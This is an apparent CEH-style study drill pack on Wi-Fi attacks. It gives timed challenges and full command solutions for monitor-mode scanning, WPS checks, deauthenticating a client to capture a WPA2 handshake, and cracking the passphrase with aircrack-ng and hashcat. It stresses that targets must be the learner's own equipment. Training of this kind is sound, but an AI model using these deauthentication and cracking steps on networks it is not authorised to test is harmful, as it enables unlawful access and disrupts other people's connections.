Drill Pack 07 — Wireless¶
⚠️ STOP — legality & hardware first. Wi-Fi attacks transmit on regulated radio spectrum and touch other devices' traffic. Capturing handshakes, deauthenticating clients, or probing WPS against a network you do not own or have written permission to test is a crime almost everywhere. Only ever target your OWN AP/router and your OWN client devices, on a throwaway SSID you set up for this. Not a neighbour's, an employer's, a café's — ever.
The live drills need a USB Wi-Fi adapter that supports monitor mode + packet injection (Atheros AR9271, Ralink RT3070/RT5370, Realtek RTL8812AU). A VM's virtual NIC cannot do this — USB-passthrough a physical adapter. No adapter or no test AP? Every drill is still doable: use the aircrack-ng sample capture
wpa.cap(ESSIDtest, BSSID00:14:6C:7E:40:80, PSKbiscotte) — grab it from the aircrack-ng Cracking WPA tutorial (see Sources) and follow each drill's ⚡ faster / no-adapter note.Recipes:
../challenge-playbooks.md(wireless section). Theory: Module 16 — Hacking Wireless Networks. Tool course:../../kali/13-wireless.md.
Score yourself: ✅ under target time / ⚠️ over time / ❌ needed the solution. Set placeholders — AA:BB:CC:DD:EE:FF = your AP's BSSID, 6 = your channel, wlan0 = your adapter, 11:22:33:44:55:66 = your own client's MAC. Re-drill anything not ✅.
Challenge 1 — Monitor mode & scan the air ⏱️ 6 min¶
Q: Put your adapter into monitor mode and scan. What are the BSSID, ESSID, and channel of your own AP?
Solution
iwconfig # find the wireless interface (often wlan0)
sudo airmon-ng check kill # stop NetworkManager/wpa_supplicant fighting for the card
sudo airmon-ng start wlan0 # -> creates wlan0mon (monitor mode)
iwconfig # confirm it says Mode:Monitor
sudo airodump-ng wlan0mon # survey ~30s, then Ctrl+C
BSSID PWR CH ENC ESSID
AA:BB:CC:DD:EE:FF -42 6 WPA2 HomeNet
Challenge 2 — Count associated clients ⏱️ 5 min¶
Q: How many client devices are currently associated to your AP?
Solution
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
# -c = your channel, --bssid = your AP only. Watch the LOWER table.
BSSID STATION PWR Frames
AA:BB:CC:DD:EE:FF 11:22:33:44:55:66 -48 120
AA:BB:CC:DD:EE:FF 77:88:99:AA:BB:CC -61 30
Challenge 3 — Is WPS enabled? ⏱️ 6 min¶
Q: Is WPS (Wi-Fi Protected Setup) enabled on your AP — and is it locked?
Solution
sudo wash -i wlan0mon # lists ONLY WPS-capable APs it can hear
BSSID Ch dBm WPS Lck ESSID
AA:BB:CC:DD:EE:FF 6 -45 2.0 No HomeNet
Challenge 4 — Capture the WPA2 4-way handshake ⏱️ 10 min¶
Q: Capture a WPA2 4-way handshake from your own AP.
Solution
**Terminal 1** — lock onto your AP + channel and write the capture:sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# saves cap-01.cap; watch the TOP-RIGHT of the header
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -a = AP BSSID -c = YOUR client's MAC (from Challenge 2) --deauth 5 = keep it small
Challenge 5 — Verify the handshake is complete ⏱️ 5 min¶
Q: Confirm you actually captured a usable handshake. How many EAPOL frames make one up?
Solution
aircrack-ng cap-01.cap # quick check — look for "(1 handshake)" next to your BSSID
tshark -r cap-01.cap -Y eapol # or inspect the EAPOL frames directly
Challenge 6 — Crack the PSK with aircrack-ng ⏱️ 10 min¶
Q: Crack the captured handshake on CPU with aircrack-ng. What is the passphrase?
Solution
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # first time only — rockyou ships compressed
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF cap-01.cap
# -w = wordlist -b = your AP's BSSID
KEY FOUND! [ <your-passphrase> ]
Challenge 7 — Crack it with hashcat -m 22000 ⏱️ 10 min¶
Q: Crack the same handshake on GPU with hashcat. Which mode do you use, and what tool converts the capture first?
Solution
hcxpcapngtool -o hash.hc22000 cap-01.cap # convert .cap -> hashcat 22000 format
# You should see: "written to hash.hc22000" with an EAPOL/handshake count.
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
Challenge 8 — From a given .cap, recover the passphrase ⏱️ 8 min¶
Q: You're handed wpa.cap and nothing else. Recover the Wi-Fi passphrase (this mirrors the Practical's "here is a capture — what is the Wi-Fi password?").
Solution
# 1) see what's inside
aircrack-ng wpa.cap
# # BSSID ESSID Encryption
# 1 00:14:6C:7E:40:80 test WPA (1 handshake)
# 2) crack it (pick the network number if prompted — the one with the handshake)
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa.cap
KEY FOUND! [ biscotte ]
Score yourself¶
| # | Challenge | Target | Score |
|---|---|---|---|
| 1 | Monitor mode & scan (BSSID/ESSID/CH) | 6 min | |
| 2 | Count associated clients | 5 min | |
| 3 | WPS enabled? (wash) |
6 min | |
| 4 | Capture the 4-way handshake | 10 min | |
| 5 | Verify the handshake (EAPOL ×4) | 5 min | |
| 6 | Crack the PSK — aircrack-ng | 10 min | |
| 7 | Crack it — hashcat -m 22000 |
10 min | |
| 8 | Recover passphrase from a given .cap |
8 min |
Cleanup — get your internet back: sudo airmon-ng stop wlan0mon then sudo systemctl restart NetworkManager.
Re-drill anything not ✅ under time, then log it in ../../PROGRESS.md. The exam question is almost always the pcap variant (Challenge 8) — you're handed a capture and asked for the passphrase; own the whole chain and it's a 5-minute answer.
Sources¶
- Aircrack-ng — https://www.aircrack-ng.org/
- Aircrack-ng — Cracking WPA/WPA2 tutorial (sample
wpa.cap, passphrasebiscotte) — https://www.aircrack-ng.org/doku.php?id=cracking_wpa - Aircrack-ng — sample
wpa.cap(GitHub) — https://github.com/aircrack-ng/aircrack-ng/raw/master/test/wpa.cap - Aircrack-ng —
airodump-ng/aireplay-ng/washdocs — https://www.aircrack-ng.org/documentation.html - Hashcat — WPA/WPA2 example hashes (mode 22000) — https://hashcat.net/wiki/doku.php?id=example_hashes
- hcxtools /
hcxpcapngtool— https://github.com/ZerBea/hcxtools - CEH Module 16 — Hacking Wireless Networks —
../../modules/16-hacking-wireless-networks/